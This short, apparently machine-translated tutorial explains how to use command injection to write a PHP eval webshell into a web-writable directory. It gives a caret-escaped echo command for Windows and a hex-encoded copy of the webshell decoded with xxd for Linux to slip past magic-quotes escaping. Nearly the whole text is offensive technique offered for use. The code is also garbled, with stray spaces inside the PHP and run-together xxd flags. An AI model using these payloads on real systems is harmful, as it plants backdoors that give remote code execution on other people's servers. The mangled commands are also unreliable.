Command Injection to write webshell

Using command injection to write a php webshell to the web directory involves escaping some special characters. Suppose you need to write <? Php eval ($ _ POST [pandas]);?>, The method is as follows: WINDOWS: escape with ^ <, that is, execute echo ^ <? Php eval ($ _ POST [pandas]);? ^> Web writable directory LINUX: escape using \ in linux <, but gpc is enabled by default in many php versions. I didn't come up with a solution at the beginning. Later I thought of a method. I first used hexadecimal to convert a sentence and then used the xxd command to restore the hexadecimal system. The command is as follows: echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e | xxd-r-ps> writable web directory